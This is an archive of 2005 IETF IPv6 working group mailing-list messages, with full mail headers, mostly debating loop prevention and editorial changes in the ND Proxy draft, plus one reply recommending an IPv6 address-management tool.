Thu, 17 Feb 2005 21:57:51 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1xt8-00066D-TF; Thu, 17 Feb 2005 21:29:02 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1xqo-00056c-LL for ipv6@megatron.ietf.org; Thu, 17 Feb 2005 21:26:38 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA12823 for ; Thu, 17 Feb 2005 21:26:35 -0500 (EST) Received: from brmea-mail-4.sun.com ([192.18.98.36]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1yCK-00016S-Qc for ipv6@ietf.org; Thu, 17 Feb 2005 21:48:55 -0500 Received: from jurassic.eng.sun.com ([129.146.17.55]) by brmea-mail-4.sun.com (8.12.10/8.12.9) with ESMTP id j1I2QXKw005568; Thu, 17 Feb 2005 19:26:33 -0700 (MST) Received: from [192.9.61.11] (punchin-nordmark.SFBay.Sun.COM [192.9.61.11]) by jurassic.eng.sun.com (8.13.3+Sun/8.13.3) with ESMTP id j1I2QXhq821209; Thu, 17 Feb 2005 18:26:33 -0800 (PST) Message-ID: <42155235.1090200@sun.com> Date: Thu, 17 Feb 2005 18:25:57 -0800 From: Erik Nordmark User-Agent: Mozilla Thunderbird 1.0 (X11/20041208) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Margaret Wasserman References: <2E33960095B58E40A4D3345AB9F65EC1102A6B42@win-msg-01.wingroup.windeploy.nt dev.microsoft.com> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Scan-Signature: e5ba305d0e64821bf3d8bc5d3bb07228 Content-Transfer-Encoding: 7bit Cc: ipv6@ietf.org, Dave Thaler Subject: Re: [NDProxy#16] Loop prevention, revisited X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 39bd8f8cbb76cae18b7e23f7cf6b2b9f Content-Transfer-Encoding: 7bit Margaret Wasserman wrote: > My understanding of the current ND Proxy work (and why I grudgingly > agreed to leave it on the most recent IPv6 charter despite the fact that > we had not managed to reach consensus on this proposal for several > years) was that we were planning to trim down the original ND Proxy > proposal to a one-hop prefix delegation mechanism (perhaps with a flag > to indicate whether the prefix has already been delegated, in which case > it mustn't be delegated again) to provide a non-DHCP alternative for > one-hop prefix delegation. I've never been quite sure why a non-DHCP > mechanism is needed, but I'm also not religiously against the idea of > standardizing an alternative. I think this should be explored further. It might not be that hard to come up with something which is is limited to a single hop. Here is a straw-man: - add something to the RA which indicates that the sender is a proxy. Could be just a single 'P' bit I think. - a proxy can take an RA which arrives without the P bit, and send it out as a RA with the P-bit. - a proxy must not redistribute an RA with the P-bit set; if it receives any (or only?) RAs with the P-bit set, that interface can not be an upstream interface from a proxy perspective. I haven't worked through the cases to see if this will avoid all loops; perhaps there can be (at least multicast) packet duplication if two such proxies are connected in parallel. Erik -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Thu Feb 17 21:39:07 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA13694 for ; Thu, 17 Feb 2005 21:39:07 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1yOV-0001OG-19 for ipv6-web-archive@ietf.org; Thu, 17 Feb 2005 22:01:27 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1xz6-0008Ow-VY; Thu, 17 Feb 2005 21:35:12 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1xt0-000652-Di for ipv6@megatron.ietf.org; Thu, 17 Feb 2005 21:28:54 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA12986 for ; Thu, 17 Feb 2005 21:28:52 -0500 (EST) Received: from mail3.microsoft.com ([131.107.3.123]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1yEX-000190-OC for ipv6@ietf.org; Thu, 17 Feb 2005 21:51:12 -0500 Received: from mailout2.microsoft.com ([157.54.1.120]) by mail3.microsoft.com with Microsoft SMTPSVC(6.0.3790.211); Thu, 17 Feb 2005 18:28:19 -0800 Received: from red-hub-02.redmond.corp.microsoft.com ([157.54.7.100]) by mailout2.microsoft.com with Microsoft SMTPSVC(6.0.3790.211); Thu, 17 Feb 2005 18:28:14 -0800 Received: from win-imc-02.wingroup.windeploy.ntdev.microsoft.com ([157.54.0.84]) by red-hub-02.redmond.corp.microsoft.com with Microsoft SMTPSVC(6.0.3790.211); Thu, 17 Feb 2005 18:28:17 -0800 Received: from win-msg-01.wingroup.windeploy.ntdev.microsoft.com ([157.54.5.41]) by win-imc-02.wingroup.windeploy.ntdev.microsoft.com with Microsoft SMTPSVC(6.0.3790.1289); Thu, 17 Feb 2005 18:28:16 -0800 x-mimeole: Produced By Microsoft Exchange V6.5.7226.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Date: Thu, 17 Feb 2005 18:28:12 -0800 Message-ID: <2E33960095B58E40A4D3345AB9F65EC110317BDE@win-msg-01.wingroup.windeploy.ntdev.microsoft.com> Thread-Topic: [NDProxy#16] Loop prevention, revisited thread-index: AcUVXDmek/fkelUsRiSBhFyNUUfjQAAAmuOQ From: "Dave Thaler" To: "Margaret Wasserman" X-OriginalArrivalTime: 18 Feb 2005 02:28:16.0427 (UTC) FILETIME=[80A587B0:01C51561] X-Spam-Score: 0.0 (/) X-Scan-Signature: 386e0819b1192672467565a524848168 Content-Transfer-Encoding: quoted-printable Cc: ipv6@ietf.org Subject: RE: [NDProxy#16] Loop prevention, revisited X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: cf3becbbd6d1a45acbe2ffd4ab88bdc2 Content-Transfer-Encoding: quoted-printable Margaret Wasserman writes: > >Point taken. How about: > >A proxy MUST ensure that loops are prevented, either by running > >the Spanning Tree Algorithm and Protocol defined in [BRIDGE] on all > >proxy interfaces as described below, or by being deployable only in > >an environment where physical loops cannot occur. For example, in a > >cell phone which proxies between a PPP dialup link and a local Ethernet > >interface, it is typically safe to assume that physical loops are not > >possible and hence there is no need to support the Spanning Tree > >Protocol (STP). >=20 > This suggestion appears to be operational advice (about what features > be enabled in given situations, not what should be supported by > implementations),=20 Find, will change "A proxy MUST" to "An implementation MUST" if that would be clearer that this is indeed an implementor's decision. > and implementations can't really know that that > they will always be deployed in situations where loops are > impossible... =20 Several folks have argued that this is not true, which is why it's worded the way it is. > So, you would do better to say something like "all > implementations MUST support loop prevention. A configuration option > to disable loop prevention MAY be supported, but all implementations > MUST have loop prevention enabled by default". That is what the draft used to say prior to the Vienna IETF, but was changed due to feedback from the WG. This was Issue #2 http://www.icir.org/dthaler/NDProxyOldIssues.htm#Issue%202 (which is what we're revisiting now in #16). =20 > You could certainly avoid loops in ND Proxy by using STP, although I > think you would have to say a lot more about how it would be > applied... =20 I don't understand your point. It's applied just like in a layer 2 bridge. The behavior is fully specified in the reference, and the application is exactly the same as on a layer 2.5 (arp/nd proxy) bridge, since the forwarding part is orthogonal. > A reference to the rbridges work might be premature. >=20 > Ultimately, though, I am not sure why we would want to add this > complexity to ND Proxy as I don't view it as a sound, scalable > mechanism for link aggregation. It is quite similar to the Proxy ARP > mechanisms supported in some IPv4 implementations, and it seems > likely to have the same problems. >=20 > My understanding of the current ND Proxy work (and why I grudgingly > agreed to leave it on the most recent IPv6 charter despite the fact > that we had not managed to reach consensus on this proposal for > several years) was that we were planning to trim down the original ND > Proxy proposal to a one-hop prefix delegation mechanism (perhaps with > a flag to indicate whether the prefix has already been delegated, in > which case it mustn't be delegated again) to provide a non-DHCP > alternative for one-hop prefix delegation. I've never been quite > sure why a non-DHCP mechanism is needed, but I'm also not religiously > against the idea of standardizing an alternative. For prefix delegation I agree the DHCP mechanism is sufficient, and it was never my understanding that the ND Proxy draft would ever try to become prefix delegation (see Appendix A for some discussion on a related point which WAS suggested by a number of folks at one point). > From my perspective, though, the ND Proxy spec doesn't seem to have > been trimmed down into a simple prefix delegation mechanism at all. > And, now we are talking about complicating it even further with a > complex loop prevention scheme (or two). Again, this draft is not complicating prefix delegation. This is about scenarios were people use IPv4 ARP Proxies today, and prefix delegation is inappropriate in some of these scenarios, as discussed in the doc right above the Scenario 2 picture. =20 > Is there any reason to believe that we can reach consensus on this > more complex version of ND Proxy given that we haven't managed to > achieve consensus on the basic concept in the past ~5 years? It is my understanding that the WG has reached (rough) consensus on it. -Dave > Margaret -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Thu Feb 17 21:48:44 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA14586 for ; Thu, 17 Feb 2005 21:48:44 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1yXn-0001cK-Ql for ipv6-web-archive@ietf.org; Thu, 17 Feb 2005 22:11:04 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1y28-0001pu-HZ; Thu, 17 Feb 2005 21:38:20 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1xvM-0006qa-UR for ipv6@megatron.ietf.org; Thu, 17 Feb 2005 21:31:21 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA13163 for ; Thu, 17 Feb 2005 21:31:19 -0500 (EST) Received: from mail1.microsoft.com ([131.107.3.125]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1yGv-0001C2-Ix for ipv6@ietf.org; Thu, 17 Feb 2005 21:53:38 -0500 Received: from mailout1.microsoft.com ([157.54.1.117]) by mail1.microsoft.com with Microsoft SMTPSVC(6.0.3790.1289); Thu, 17 Feb 2005 18:30:48 -0800 Received: from red-hub-04.redmond.corp.microsoft.com ([157.54.3.6]) by mailout1.microsoft.com with Microsoft SMTPSVC(6.0.3790.1289); Thu, 17 Feb 2005 18:30:48 -0800 Received: from win-imc-01.wingroup.windeploy.ntdev.microsoft.com ([157.54.0.39]) by red-hub-04.redmond.corp.microsoft.com with Microsoft SMTPSVC(6.0.3790.211); Thu, 17 Feb 2005 18:31:01 -0800 Received: from win-msg-01.wingroup.windeploy.ntdev.microsoft.com ([157.54.5.41]) by win-imc-01.wingroup.windeploy.ntdev.microsoft.com with Microsoft SMTPSVC(6.0.3790.1289); Thu, 17 Feb 2005 18:30:48 -0800 x-mimeole: Produced By Microsoft Exchange V6.5.7226.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Date: Thu, 17 Feb 2005 18:30:42 -0800 Message-ID: <2E33960095B58E40A4D3345AB9F65EC110317BE6@win-msg-01.wingroup.windeploy.ntdev.microsoft.com> Thread-Topic: [NDProxy#16] Loop prevention, revisited thread-index: AcUVYUcubprUQS1WQ+KRfAcYJYB+rQAAEJsg From: "Dave Thaler" To: "Erik Nordmark" , "Margaret Wasserman" X-OriginalArrivalTime: 18 Feb 2005 02:30:48.0049 (UTC) FILETIME=[DB053610:01C51561] X-Spam-Score: 0.0 (/) X-Scan-Signature: f4c2cf0bccc868e4cc88dace71fb3f44 Content-Transfer-Encoding: quoted-printable Cc: ipv6@ietf.org Subject: RE: [NDProxy#16] Loop prevention, revisited X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 244a2fd369eaf00ce6820a760a3de2e8 Content-Transfer-Encoding: quoted-printable > -----Original Message----- > From: Erik Nordmark [mailto:erik.nordmark@sun.com] > Sent: Thursday, February 17, 2005 6:26 PM > To: Margaret Wasserman > Cc: Dave Thaler; ipv6@ietf.org > Subject: Re: [NDProxy#16] Loop prevention, revisited >=20 > Margaret Wasserman wrote: >=20 > > My understanding of the current ND Proxy work (and why I grudgingly > > agreed to leave it on the most recent IPv6 charter despite the fact that > > we had not managed to reach consensus on this proposal for several > > years) was that we were planning to trim down the original ND Proxy > > proposal to a one-hop prefix delegation mechanism (perhaps with a flag > > to indicate whether the prefix has already been delegated, in which case > > it mustn't be delegated again) to provide a non-DHCP alternative for > > one-hop prefix delegation. I've never been quite sure why a non-DHCP > > mechanism is needed, but I'm also not religiously against the idea of > > standardizing an alternative. >=20 > I think this should be explored further. >=20 > It might not be that hard to come up with something which is is limited > to a single hop. > Here is a straw-man: > - add something to the RA which indicates that the sender is a proxy. > Could be just a single 'P' bit I think. > - a proxy can take an RA which arrives without the P bit, and send it > out as a RA with the P-bit. > - a proxy must not redistribute an RA with the P-bit set; if it > receives any (or only?) RAs with the P-bit set, that interface can not > be an upstream interface from a proxy perspective. >=20 > I haven't worked through the cases to see if this will avoid all loops; > perhaps there can be (at least multicast) packet duplication if two such > proxies are connected in parallel. >=20 > Erik I agree this may be interesting, but it would be good to start a new thread, since it is for a very different scenario than a proxy, which has the constraint that it must be completely transparent to the router. Hence, this is not in any way competing with the ND Proxy draft, but it is a competitor to Prefix Delegation. -Dave -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Fri Feb 18 01:43:51 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA05726 for ; Fri, 18 Feb 2005 01:43:51 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D22DK-00079n-VJ for ipv6-web-archive@ietf.org; Fri, 18 Feb 2005 02:06:12 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D21px-0005g5-4L; Fri, 18 Feb 2005 01:42:01 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D21nm-0004Tn-NQ for ipv6@megatron.ietf.org; Fri, 18 Feb 2005 01:39:46 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA05472 for ; Fri, 18 Feb 2005 01:39:45 -0500 (EST) Received: from netcore.fi ([193.94.160.1]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D229N-00074P-3z for ipv6@ietf.org; Fri, 18 Feb 2005 02:02:06 -0500 Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id j1I6cxP17175; Fri, 18 Feb 2005 08:38:59 +0200 Date: Fri, 18 Feb 2005 08:38:59 +0200 (EET) From: Pekka Savola To: Dave Thaler In-Reply-To: <2E33960095B58E40A4D3345AB9F65EC110317BE6@win-msg-01.wingroup.windeploy.ntdev.microsoft.com> Message-ID: References: <2E33960095B58E40A4D3345AB9F65EC110317BE6@win-msg-01.wingroup.windeploy.ntdev.microsoft.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Spam-Score: 0.0 (/) X-Scan-Signature: 79899194edc4f33a41f49410777972f8 Cc: Margaret Wasserman , Erik Nordmark , ipv6@ietf.org Subject: RE: [NDProxy#16] Loop prevention, revisited X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: ffa9dfbbe7cc58b3fa6b8ae3e57b0aa3 On Thu, 17 Feb 2005, Dave Thaler wrote: [Erik's proposal where ND-proxies add "P"-bit to RAs] > I agree this may be interesting, but it would be good to start a new > thread, since it is for a very different scenario than a proxy, > which has the constraint that it must be completely transparent to > the router. I don't understand. ND-proxies adding and checking for "P-bit" in RAs does not require changes to the router because routers send the RAs without P-bit? It only requires modifications in ND-proxies but that's OK. With this, the ISP could prevent the user from running ND proxy, so implementations will likely have a knob which would ignore this bit, but still.. -- Pekka Savola "You each name yourselves king, yet the Netcore Oy kingdom bleeds." Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Fri Feb 18 02:39:34 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA00985 for ; Fri, 18 Feb 2005 02:39:34 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D235I-0008Ok-1Z for ipv6-web-archive@ietf.org; Fri, 18 Feb 2005 03:01:56 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D22ZY-0003Vg-Tb; Fri, 18 Feb 2005 02:29:08 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D22Uq-0000Bq-4w for ipv6@megatron.ietf.org; Fri, 18 Feb 2005 02:24:16 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA29211 for ; Fri, 18 Feb 2005 02:24:14 -0500 (EST) Received: from mignon.ki.iif.hu ([193.6.222.240] helo=mail.ki.iif.hu) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D22qQ-00082p-Je for ipv6@ietf.org; Fri, 18 Feb 2005 02:46:35 -0500 Received: by mail.ki.iif.hu (Postfix, from userid 1003) id 18C6154FB; Fri, 18 Feb 2005 08:23:41 +0100 (CET) Received: from localhost (localhost [127.0.0.1]) by mail.ki.iif.hu (Postfix) with ESMTP id 16DEF54E4; Fri, 18 Feb 2005 08:23:41 +0100 (CET) Date: Fri, 18 Feb 2005 08:23:41 +0100 (CET) From: Mohacsi Janos X-X-Sender: mohacsi@mignon.ki.iif.hu To: "Rahim, Shaffiq S" In-Reply-To: <34919D5FCCAB494F97265DA64D1D70308367A3@XCH-SW-1V1.sw.nos.boeing.com> Message-ID: <20050218082110.Q60415@mignon.ki.iif.hu> References: <34919D5FCCAB494F97265DA64D1D70308367A3@XCH-SW-1V1.sw.nos.boeing.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Spam-Score: 0.0 (/) X-Scan-Signature: bb8f917bb6b8da28fc948aeffb74aa17 Cc: ipv6@ietf.org Subject: Re: IPv6 Address Management X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: e1e48a527f609d1be2bc8d8a70eb76cb Hi, You can try FreeIPdb available at http://www.freeipdb.org/. Cheers, Janos Mohacsi Network Engineer, Research Associate NIIF/HUNGARNET, HUNGARY Key 00F9AF98: 8645 1312 D249 471B DBAE 21A2 9F52 0D1F 00F9 AF98 On Thu, 17 Feb 2005, Rahim, Shaffiq S wrote: > I am currently setting up an IPv6 test infrastructure. However, I am > running into the issue of finding a good tool to manage IPv6 Address > Allocation. I have found the Lucent QIP product; however, it is quite > high in pricing. Does anyone know about any other software available to > manage IPv6 address allocation? > > Thanks, > > Shaffiq S. Rahim > Systems/Software Engineer > The Boeing Company > Phantom Works - IDeAS > NCO Programs & Technologies > (714) 762-3722 - Desk > (714) 315-5494 - Cell > shaffiq.s.rahim@boeing.com > > -------------------------------------------------------------------- > IETF IPv6 working group mailing list > ipv6@ietf.org > Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 > -------------------------------------------------------------------- > -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Fri Feb 18 12:10:39 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA08368 for ; Fri, 18 Feb 2005 12:10:38 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D2C01-00024I-Kf for ipv6-web-archive@ietf.org; Fri, 18 Feb 2005 12:33:06 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D2BEW-0008Qo-KV; Fri, 18 Feb 2005 11:44:00 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D2Aej-0000aE-VH for ipv6@megatron.ietf.org; Fri, 18 Feb 2005 11:07:02 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA26114 for ; Fri, 18 Feb 2005 11:07:00 -0500 (EST) Received: from sj-iport-2-in.cisco.com ([171.71.176.71] helo=sj-iport-2.cisco.com) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D2B0Q-0006i1-MC for ipv6@ietf.org; Fri, 18 Feb 2005 11:29:27 -0500 Received: from sj-core-2.cisco.com (171.71.177.254) by sj-iport-2.cisco.com with ESMTP; 18 Feb 2005 08:16:55 -0800 Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62]) by sj-core-2.cisco.com (8.12.10/8.12.6) with ESMTP id j1IG6Iq8011926 for ; Fri, 18 Feb 2005 08:06:19 -0800 (PST) Received: from rdroms-w2k01.cisco.com ([161.44.65.140]) by flask.cisco.com (MOS 3.4.6-GR) with ESMTP id APF85037; Fri, 18 Feb 2005 11:06:22 -0500 (EST) Message-Id: <4.3.2.7.2.20050218110224.028cf388@flask.cisco.com> X-Sender: rdroms@flask.cisco.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Fri, 18 Feb 2005 11:05:14 -0500 To: From: Ralph Droms In-Reply-To: <2E33960095B58E40A4D3345AB9F65EC110230A50@win-msg-01.wingro up.windeploy.ntdev.microsoft.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Spam-Score: 0.0 (/) X-Scan-Signature: b5d20af10c334b36874c0264b10f59f1 Subject: Re: [NDProxy#21] Editorial nits in ipv6-00 X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 5011df3e2a27abcc044eaa15befcaa87 At 08:08 PM 2/15/2005 -0800, Dave Thaler wrote: >Three editorial suggestions from Ralph Droms (no further discussion as >yet): >#1 > > My understanding is that NDproxy is intended for use between media >that > > cannot be bridged at the link-layer, and which, presumably, have >different > > link-layer header formats. While it would, I guess be obvious to an > > implementor, It would clarify the text to add a sentence or two in the > > > last paragraph of section 4.1 explaining that the entire layer two >header > > in the outgoing packet must be modified to the format of the layer 2 >media > > over which the packet will be forwarded. > >Scenario 2 has different link-layer header formats, but Scenario 1 does >not >(the inability to bridge is due to the inability to be promiscuous, >rather >than any link-layer header difference), so it needs to be worded more >generically. Proposed change: > >OLD: When any other IP broadcast or multicast packet (other than to the >IPv6 Link-scoped STP Multicast Group) is received on a proxy >interface, in addition to any normal IP behavior such as being delivered >locally, it is forwarded unchanged out all other proxy interfaces on >the same link. > >NEW: When any other IP broadcast or multicast packet (other than to the >IPv6 Link-scoped STP Multicast Group) is received on a proxy >interface, in addition to any normal IP behavior such as being delivered >locally, it is forwarded unchanged (other than using a new link-layer >header) out all other proxy interfaces on the same link. OK with me. >and > >OLD: When any other IP unicast packet is received on a proxy interface, >if it is not locally destined then it is forwarded unchanged to the >proxy interface for which the next hop address appears in the neighbor >cache. > >NEW: When any other IP unicast packet is received on a proxy interface, >if it is not locally destined then it is forwarded unchanged (other than >using a new link-layer header) to the proxy interface for which the next >hop address appears in the neighbor cache. OK with me. >#2 > > Although the title is "Bridge-like Neighbor Discovery Proxies (ND >Proxy)", > > the Abstract does not restrict the protocols in the specification to >IPv6. > > In fact, there is support for IPv4 bridging, including ARP and DHCPv4. >I > > think it would clarify the intent of the draft to change the title >(or, at > > least, the abstract) to reflect that bridging of some IPv4 protocols >is > > included in this specification. > >Proposed text to add to Abstract: > > The behavior of one common type of IPv4 ARP Proxy deployed today is > documented herein for informational purposes, but this document > concentrates on describing similar behavior for IPv6. I'll have to reread the draft, but it seems to me the description of IPv4 ARP Proxy and DHCPv4 is more than simply informational. >#3 > > Sections 4.1 and 4.2 might be more accurately titled "Forwarding >Packets" > > and "Originating packets". > >Propose accepting as suggested. OK... >-Dave > >-------------------------------------------------------------------- >IETF IPv6 working group mailing list >ipv6@ietf.org >Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 >-------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Fri Feb 18 13:44:28 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA21073 for ; Fri, 18 Feb 2005 13:44:28 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D2DSr-00055l-Pi for ipv6-web-archive@ietf.org; Fri, 18 Feb 2005 14:06:58 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D2D3L-0005aq-4H; Fri, 18 Feb 2005 13:40:35 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D2CgF-0006uu-Na for ipv6@megatron.ietf.org; Fri, 18 Feb 2005 13:16:43 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA16448 for ; Fri, 18 Feb 2005 13:16:40 -0500 (EST) Received: from iramx2.ira.uni-karlsruhe.de ([141.3.10.81] ident=[U2FsdGVkX1823Myuyfgb9VOa5qYfSRMIs3cXA9h7J4o=]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D2D1x-0004EH-GI for ipv6@ietf.org; Fri, 18 Feb 2005 13:39:10 -0500 Received: from irams1.ira.uni-karlsruhe.de ([141.3.10.5] helo=irams1.ira.uka.de) by iramx2.ira.uni-karlsruhe.de with esmtps (Exim 4.43 #1) id 1D2CgA-0001Cp-5G for ; Fri, 18 Feb 2005 19:16:41 +0100 Received: from i72archimedes.tm.uni-karlsruhe.de ([141.3.71.83]) by irams1.ira.uka.de with esmtp (Exim 3.30 #7 ) id 1D2Cg9-0004lC-00; Fri, 18 Feb 2005 19:16:37 +0100 Message-ID: <42163105.9020702@tm.uka.de> Date: Fri, 18 Feb 2005 19:16:37 +0100 From: Christian Vogt User-Agent: Mozilla Thunderbird 1.0 (X11/20041206) X-Accept-Language: de-DE, de, en-us, en MIME-Version: 1.0 To: ipv6@ietf.org X-Enigmail-Version: 0.90.0.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=ISO-8859-15; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: -8.5 (--------) X-Spam-Status: No X-Spam-Score: 0.0 (/) X-Scan-Signature: 1a1bf7677bfe77d8af1ebe0e91045c5b 